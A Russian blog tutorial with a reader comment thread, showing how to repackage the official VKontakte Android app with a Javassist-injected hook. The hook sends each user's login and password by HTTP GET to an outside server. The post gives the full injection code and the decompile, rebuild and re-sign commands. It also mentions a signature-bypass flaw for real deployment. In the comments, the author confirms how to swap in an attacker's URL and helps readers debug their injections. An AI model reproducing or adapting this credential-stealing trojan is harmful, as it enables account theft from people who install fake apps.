Решил немного покопаться в приложениях на Java и посмотреть возможности модификации при отсутствии оригинальных исходных кодов. В качестве объекта исследования был взят официальный клиент VKontakte под Android. Нашей целью будет модификация приложения таким образом, чтобы данные, отправляемые клиентом при авторизации, отправлялись также на сторонний сервер.
Для начала нам понадобятся следующие вещи: Android SDK (для тестирования приложения), apktool (для проведения необходимых манипуляций с apk-файлом), dex2jar (для преобразования dex файлов в jar-архивы и подписи результирующего apk тестовой подписью), JD-GUI (для декомпиляции кода и изучения его структуры).
Теперь нам необходимо где-то взять официальное приложение. Вариантов множество, например: можно воспользоваться расширением APK downloader для Google Chrome, можно взять с какого-нибудь форума, либо со своего Android-устройства.
Итак, мы получили APK-файл. Воспользуемся apktool, чтобы его распаковать. Для этого откроем консоль и выполним следующую команду:
1 |
apktool d -s -r vk.apk |
Здесь и далее я предполагаю, что в текущей директории присутствует вызываемое приложение (в данном случае apktool), либо путь к директории с ним добавлен в переменную окружения PATH. Флаги s и r необходимы, чтобы утилита извлекла ресурсы и код приложения как есть, без каких-либо дополнительных преобразований.
После выполнения вышеуказанной команды у нас появилась директория со следующей структурой:
1 2 3 4 5 6 7 8 |
│ AndroidManifest.xml │ apktool.yml │ classes.dex │ resources.arsc │ ├───assets ├───lib └───res |
Файл classes.dex содержит интересующий нас код. Воспользуемся утилитой из набора dex2jar и преобразуем его в jar-файл. Для этого выполним в консоли:
1 |
d2j-dex2jar classes.dex |
Получившийся jar-файл открываем в JD-GUI.
Ищем метод, отвечающий за процесс авторизации пользователя в ВКонтакте. Находим метод doAuth в классе Auth.
Теперь нам необходимо как-то внедрить свой код в метод doAuth, который будет отсылать данные пользователя на сторонний сервер. Можно было бы заняться ручной правкой байткода, сгенерированного Java, но это затяжное и занудное занятие. Я решил воспользоваться библиотекой Javassist, которая позволяет производить необходимую модификацию байткода, но при этом писать внедряемый код на Java.
Напишем небольшую программу с использованием Javassist, которая добавит в начало метода doAuth дополнительный код, осуществляющий отправку данных.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
import javassist.*; import java.util.logging.*; import java.io.IOException; public class Hook { public void addHook(String targetClass, String targetMethod) throws NotFoundException, CannotCompileException, IOException { Logger logger = Logger.getLogger("Javassist"); final String targetFolder = "./modified/"; try { final ClassPool pool = ClassPool.getDefault(); // Добавим пути, где javassist будет искать .class файлы используемых в добавляемом коде методов pool.appendClassPath(new LoaderClassPath(getClass().getClassLoader())); pool.appendClassPath("./android.jar"); // Найдем модифицируемый метод в целевом классе final CtClass compiledClass = pool.get(targetClass); final CtMethod method = compiledClass.getDeclaredMethod(targetMethod); // Добавим наш код ($1, $2 - аргументы, которые получает оригинальный метод) // Подробнее почитать можно тут: http://www.csg.ci.i.u-tokyo.ac.jp/~chiba/javassist/tutorial/tutorial2.html#before method.insertBefore("{ try {android.net.http.AndroidHttpClient.newInstance(\"Android\").execute(new org.apache.http.client.methods.HttpGet(\"http://google.com/?login=\" + $1 + \"&password=\" + $2 ));} catch (Exception e) {} }"); compiledClass.writeFile(targetFolder); logger.info(targetClass + "." + targetMethod + " has been modified and saved under " + targetFolder); } catch (NotFoundException e) { logger.warning("Failed to find the target class to modify " + targetClass); } } public static void main(String[] args) throws Exception { final String targetClass = "com.vkontakte.android.Auth"; final String targetMethod = "doAuth"; new Hook().addHook(targetClass, targetMethod); } } |
Внедряемый код приведен в виде одной строки, что не очень удобно. Приведу его на всякий случай отдельно для удобства.
1 2 3 4 5 6 7 |
{ try { android.net.http.AndroidHttpClient.newInstance("Android").execute(new org.apache.http.client.methods.HttpGet("http://google.com/?login=" + $1 + "&password=" + $2 )); } catch (Exception e) {} } |
Скомпилируем вышеописанный код из консоли.
1 |
javac -cp ./javassist.jar Hook.java |
Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.
1 |
java -cp .;javassist.jar;android.jar Hook |
После успешного выполнения мы получили модифицированный Auth.class, в этом можно убедиться, открыв файл в JD-GUI.
Заменим Auth.class в jar-файле с помощью любого архиватора. Воспользуемся d2j-jar2dex.bat и преобразуем jar-файл обратно в dex-файл.
1 |
d2j-jar2dex classes_dex2jar.jar |
Заменим classes.dex в директории, куда мы распаковывали apk-файл с помощью apktool, и создадим из директории новый apk-файл.
1 |
apktool b vk vk.apk |
У получившегося файла отсутствует цифровая подпись. Исправим это с помощью d2j-apk-sign из набора dex2jar.
1 |
d2j-apk-sign vk.apk |
Настало время протестировать получвшийся файл. Для этого нам понадобится эмулятор из набора Android SDK или реальное устройство. В случае с эмулятором всё просто: настраиваем эмулятор, запускаем виртуальное устройство, выполняем в консоли adb install vk-signed.apk.
Запустим какой-нибудь сетевой снифер (я воспользовался Wireshark), запустим приложение ВКонтакте на эмуляторе и попробуем авторизоваться.
Снифер показывает, что данные авторизации были предварительно отправлены на тестовый адрес. Всё работает. Конечно, при использовании вышеописанного подхода в реальной обстановке, возникла бы проблема корректной цифровой подписи, но она решаема благодаря недавно опубликованной уязвимости, которая позволяет обойти проверку подписи на ряде устройств, которые ещё не получили обновление.
Фрагмент кода из статьи и оригинальный apk-файл ВКонтакте: скачать
Вооот! То, что надо, андроид. Пишите еще :)
Ну вот, теперь будут пачками пропихивать друг-другу фейковые приложения)
А почему приложение так просто реверсируется? Разве они не накрываются каким-то ключами?
Бывает какие-нибудь обфускаторы используются, но редко.
Спасибо. Было бы интересно почитать цикл статей о таких вещах.
Вопрос: у тебя какая винда? под х64 утилиты эти работают? а то у меня валятся.
Под x64 всё работает
по этому надо качать официальные приложения в гугл плэе.а так хорошо,все простецко;)хоть я не явист, но подмечаю что все что связано с явой как то "не безопасно" ))
А что с чем должно быть связано, чтобы оно было как-то "безопасно"?
Привет, скажите, а под андроид на С++ можно по человечески писать? Есть NDK, но там вроде как через костыль к джаве писать нужно(JNI). Нету ничего более удобного? Как на счет Qt для андроида?
Не в курсе, но скорее всего все равно придется какие-то базовые вещи дергать через яву. В составе приложения контактовского есть бинарники для работы с видео вроде скомпилированные под ARM.
Очень интересный материал. Пишите ещё, будем читать.
Попутно возник вопрос, т.к. Android наращивает обороты есть желание получить знания в этой области. Kaimi, посоветуйте, пожалуйста, какую литературу следует прочитать и с чего начать, чтобы начать программирование и исследование программ под Android.
Спасибо за статью!
Не могу посоветовать, т.к. не занимаюсь разработкой под Android.
ведроид не нужен
а зачем нужен какой-то JAssit, если можно подправить код напрямую и заново собрать с помощью Android SDK?
Потому что это на порядок проще, чем всё декомпилировать и пересобирать.
а как будет выглядеть внедряемый код не для андроида, а для jar приложений?
В смысле? На андроиде фактически и используются jar-приложения.
вы используете javac, но в Android SDK его нет
что можно скачать для быстрой компиляции, если нет желания качать jdk, весящее под 300 метров?
Не знаю, на MacOS по-умолчанию есть javac вроде как.
Декомпилированый код можна использовать в своем клиенте ,?
Теоретически
Если код немного переписать ,і исользовать в своём приложении в комерчиских целяцелях ,за ето можно нести уголовною ответствиность ,?
Не знаю, надо законодательство нужной страны читать.
Но кажись в разних клиентах которие я декомпилировал коды очень похожие ! І почему декомпилятор оф клиента декомпилит 70%кода ,а 30% класы присутствуют но кода внутри нет ? Можна както росковирять или не получится
Без понятия
Кайми давай пополняй блог, ненавижу тебя.
Привет Kaimi, очень интересная статья, тольк я не силен в этом и пострял, можешь помочь?
Чем и зачем?
Не могу модифицировать приложение. Все получается и работает.
Но если в внедряемом коде есть public void onClick, public boolean то не происходит внедрение.
Не могу до конца разобраться с Javassist.
Помоги если не сложно с примером внедряемого кода с использованием в нем public void onClick, public boolean
А что происходит то при попытке?
Exception in thread "main" javassist.CannotCompileException: [source error] ) is
missing
at javassist.CtBehavior.insertBefore(CtBehavior.java:774)
at javassist.CtBehavior.insertBefore(CtBehavior.java:734)
at Hook.addHook(Hook.java:28)
at Hook.main(Hook.java:48)
Caused by: compile error: ) is missing
at javassist.compiler.Parser.parseArgumentList(Parser.java:1338)
at javassist.compiler.Parser.parseMethodCall(Parser.java:1178)
at javassist.compiler.Parser.parsePostfix(Parser.java:1035)
Вот что происходит)
Если я правильно понимаю, то в коде, который планируется внедрить, есть ошибка.
Неполучается декомпилировать apk,apktool не являеться внутренней или внешной командой-пишет cmd
Есть декомпилированый файл?
Нет декомпилированый файл
а на какой сайт будет писылаться
На тот, который указан в коде.
Извините, а какой сайт вы прописали в коде?
P.S. Я только учусь
google.com
Здравствуйте! Возник вопрос, ссылку (\"http://google.com/?login=\" + $1 + \"&password=\" + $2 ));} надо заменять так: (\"http://sitename.com/364646.gif?login=\" + $1 + \"&password=\" + $2 ));}
Да
Здравствуйте, материал очень полезный, но к сожалению уже не актуальный. На новых версия этот способ уже не работает. (Был изменен класс Auth). Не могли бы вы обновить данный пост под свежую версию?) Многие бы сказали вам спасибо.
Не мог бы. Адаптировать код под новый класс Auth можно и самостоятельно, если имеются минимальные представления о программировании.
@Kaimi, Доброго времени суток, отличная статья, очень помогла значительно сузить круг поиска информации о способах рекомпиляции .java to .class вырванных из сторонних исходников, за что Вам примного благодарен.
Но вот интересно было бы узнать как допустим добавить свой код не в начало метода или процедуры, а скажем в середину или в конец, как бы указать место где нужно добавить код, и еще было бы замечательно узнать каким образом заменить одну переменную на другую, без добавления кода, только замена, честно говоря не совсем разобрался еще как это все указать в java.
@WhitePenTester, я так понимаю указателями на класс и метод являются строки:
final String targetClass = "com.vkontakte.android.Auth";
final String targetMethod = "doAuth";
но как быть с кодом внутри метода, что бы заменить например =false на =true неужели нужно весь метод целиком переписывать?
Ради таких минорных модификаций можно просто байт-код поправить вручную.
Спасибо и на этом. Знания есть действительно минимальные. Я бы даже сказал минимальнейшие. В любом случае, пока не получалось. Даже не понятно, где собака зарыта....
И снова здравствуйте. За эти несколько дней я перепробовал кучу способов. Что я только не делал.. Однако мне ничего не помогло.. Был бы очень вам благодарен хотя бы за маленькую подсказку. Это уже стало делом принципа) Но и конечно первоначальная цель тоже актуальна.
Здравствуйте, можете подсказать как в javassist можно заполучить определенное значение с json инстанса? К примеру org.json.JSONObject jsonObject.getInt(\"user_id\") не компилируется. И именно нужно достучаться уже к существующему а не создавать новый. Актуально к классу который вы расписали в этой статье.
Дай архив со всеми необходимыми файлами, с которыми пытаешься собрать, ну и сам файл с кодом, естественно, посмотрю.
Я могу дать все полностью только в Telegram или на e-mail.
А пока вот^
Есть метод с такими параметрами
method(final String s, final HashMap hashMap, final boolean b, final HashMap hashMap2){
//какой-то код
}
задача, инженктнуть такую инициализацию:
MyClass myClass = new MyClass(hashMap.contains("something"), hashMap.contains("something2"));
А на sendspace.com забанили?
@Kaimi, если прислать полный прожект и то что пытается инжекнуться и опубликовать его публично, то последствия будут не самые хорошие.
Почему?
Ладно, держите урезанный вариант, как раз все готово для проб http://rghost.ru/7wNY8KGQg
Не все готово. Если хотелось hashMap из аргумента метода использовать, то про это явно в документации написано, как пользоваться: http://www.csg.ci.i.u-tokyo.ac.jp/~chiba/javassist/tutorial/tutorial2.html#alter
и что за jsonObject?
@Kaimi, не совсем понятно, можно конкретный пример на одном хэшМэпе? а jsonObject вот, инициализируется в самом методе final JSONObject jsonObject = (JSONObject)new JSONTokener(s3).nextValue();
Конкретные же примеры даны в мануале. Что-нибудь вроде:
MyClass myClass = new MyClass($2.containsKey("login"), $2.containsKey("password")...
Второй аргумент у Auth как раз hashmap
Спасибо, получилось, нашел в чем проблема была. Подобную конструкцию применял и ранее, но не компилилось. А что по поводу jsonObject.getString, как достучаться до инстанса который внутри метода?
Конструкция com.vkontakte.android.Auth.doAuth($1,$2,$3,$4).jsonObject.getString(\"something\"); не работает, говорит javassist.CannotCompileException: [source error] bad filed access
Вот ты пишешь, что интересует тот же инстанс jsonObject использовать. Если интересует только вытащить из него какие-то атрибуты, то почему бы просто не создать новый объект из существующего объекта и не попытаться взять из него данные, раз уж обратиться напрямую не получается?
Сам проверить не могу, т.к. Java 8.
@Kaimi, атрибуты в нашем случае это ответ из сервера. Не совсем понял о чем Вы. Мол создать новый объект JSONObject и уже с него брать ответ или как? Если не тяжело, можно пример строчки кода
JSONObject sample = new JSONObject(jsonObject);
sample.getString("something");
не катит? или любое упоминание jsonObject не срабатывает? jsonObject надеюсь объявлен в том месте, где к нему обращение предполагается?
@Kaimi, да, объявлен в том месте, уже трижды проверил, но так же имеет модификатор final и оглашен в самом методе doAuth. Ваша идея хороша, но увы ошибка та же самая.
Оглашал так
org.json.JSONObject newJson = new org.json.JSONObject(com.vkontakte.android.Auth.doAuth($1,$2,$3,$4).jsonObject);
Проблема javassist еще в том, что ему все надо оглашать явно, будто import не существует. Я не исключаю вариант что возможно я не правильно стучусь к самому jsonObject, но других вариантов у меня нет.
Значит вперед изучать документацию, примеры и прочее. Я не специалист ни по нему, ни по яве.
Не могу понять что к чему:
Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.
java -cp .;javassist.jar;android.jar Hook
(Error: Cloud not find load main class Hook)
Может про javac забыл, может Java 8 используешь и там что-то поменялось, может погугли возможные причины, например: You must ensure that you add the location of your .class file to your classpath. So, if its in the current folder then add . to your classpath. Note that the windows classpath separator is a semi-colon ie ;
@Kaimi, хорошо спасибо)
Было бы очень познавательно, если бы Вы написали, как можно заменить SSL-сертификат, у Андроид приложений, которые проводят сверку своего сертификата (SSL pinning) и не дают снифать свой трафик (Dropbox, Instagram, Qiwi и т.п.)
Здравствуйте! Подскажите пожалуйста, для какой версии приложения Вконтакте, подойдет этот способ?
Ссылка на APK, который использовался в примере, есть в конце статьи. Для него и актуально.
Почему у меня падает по ошибке NotFoundException? Делал все по вашему туториалу, даже прямой путь прописывал типа C:/Users/...
Кто падает то? Если код на яве, который должен модифицировать класс, то вероятно потому, что официальное приложение могли уже 100 раз переписать и искомый класс или метод отсутствуют
Все на месте, все присутствует. Программа падает по ошибке NotFoundException. Я пробовал внедрить в свой класс, но программа не находит мой класс. Лежит он в одной папке с android.jar и всем остальным
Падает с сообщением Failed to find the target class to modify ...
Либо текущая директория не соответствует той, где размещены файлы, либо путь до файла с классом не соответствует com.vkontakte.android
А можно пример пути? Я указываю C:/: в корне и все файлы лежат, нужные для работы, и все классы, которые есть
Скачиваешь ProcessMonitor, выставляешь фильтр на процесс java, смотришь, по каким путям он пытается найти файл, сверяешься со своими
Добрый день! А как модифицировать приложение, чтобы логин и пароль просто записались в текстовый файлик?
Изучить https://developer.android.com/training/basics/data-storage/files.html и попытаться сделать соответствующую модификацию
У меня такая проблема в консоле:
C:\Users\home\Desktop\jboss-javassist-javassist-e41e079>java -cp .;javassist.jar;android.jar Hook
эю с. 02, 2017 7:28:17 ╧╧ Hook addHook
WARNING: Failed to find the target class to modify com.vkontakte.android.Auth
появилась такая проблема в консоле:
C:\Users\home\Desktop\jboss-javassist-javassist-e41e079>java -cp .;javassist.jar;android.jar Hook
Exception in thread "main" javassist.CannotCompileException: [source error] no such class: android.net.http.AndroidHttpClient
at javassist.CtBehavior.insertBefore(CtBehavior.java:774)
at javassist.CtBehavior.insertBefore(CtBehavior.java:734)
at Hook.addHook(Hook.java:26)
at Hook.main(Hook.java:43)
Caused by: compile error: no such class: android.net.http.AndroidHttpClient
at javassist.compiler.MemberResolver.searchImports(MemberResolver.java:470)
at javassist.compiler.MemberResolver.lookupClass(MemberResolver.java:414)
at javassist.compiler.MemberResolver.lookupClassByJvmName(MemberResolver.java:321)
at javassist.compiler.TypeChecker.atCallExpr(TypeChecker.java:683)
at javassist.compiler.JvstTypeChecker.atCallExpr(JvstTypeChecker.java:157)
at javassist.compiler.ast.CallExpr.accept(CallExpr.java:46)
at javassist.compiler.TypeChecker.atCallExpr(TypeChecker.java:665)
at javassist.compiler.JvstTypeChecker.atCallExpr(JvstTypeChecker.java:157)
at javassist.compiler.ast.CallExpr.accept(CallExpr.java:46)
at javassist.compiler.CodeGen.doTypeCheck(CodeGen.java:242)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:330)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:351)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.MemberCodeGen.atTryStmnt(MemberCodeGen.java:204)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:367)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:351)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.Javac.compileStmnt(Javac.java:567)
at javassist.CtBehavior.insertBefore(CtBehavior.java:754)
... 3 more
Код в Hook.java брал с этой статьи.
Написано же:
no such class: android.net.http.AndroidHttpClient
Если речь об актуальной версии приложения, то там уже сто раз могли все поменять
это приложение брал из этой темы
Теперь появилась такая проблема в консоле:
C:\Users\home\Desktop\jboss-javassist-javassist-e41e079>java -cp .;javassist.jar;android.jar Hook
Exception in thread "main" javassist.CannotCompileException: [source error] no such class: android.net.http.AndroidHttpClient
at javassist.CtBehavior.insertBefore(CtBehavior.java:774)
at javassist.CtBehavior.insertBefore(CtBehavior.java:734)
at Hook.addHook(Hook.java:26)
at Hook.main(Hook.java:43)
Caused by: compile error: no such class: android.net.http.AndroidHttpClient
at javassist.compiler.MemberResolver.searchImports(MemberResolver.java:470)
at javassist.compiler.MemberResolver.lookupClass(MemberResolver.java:414)
at javassist.compiler.MemberResolver.lookupClassByJvmName(MemberResolver.java:321)
at javassist.compiler.TypeChecker.atCallExpr(TypeChecker.java:683)
at javassist.compiler.JvstTypeChecker.atCallExpr(JvstTypeChecker.java:157)
at javassist.compiler.ast.CallExpr.accept(CallExpr.java:46)
at javassist.compiler.TypeChecker.atCallExpr(TypeChecker.java:665)
at javassist.compiler.JvstTypeChecker.atCallExpr(JvstTypeChecker.java:157)
at javassist.compiler.ast.CallExpr.accept(CallExpr.java:46)
at javassist.compiler.CodeGen.doTypeCheck(CodeGen.java:242)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:330)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:351)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.MemberCodeGen.atTryStmnt(MemberCodeGen.java:204)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:367)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.CodeGen.atStmnt(CodeGen.java:351)
at javassist.compiler.ast.Stmnt.accept(Stmnt.java:50)
at javassist.compiler.Javac.compileStmnt(Javac.java:567)
at javassist.CtBehavior.insertBefore(CtBehavior.java:754)
... 3 more
Код в Hook.java брал из этой темы
Android SDK не той версии. В статье использовался актуальный на 2013 год (22.2), а с 23 версии все уже не так называется.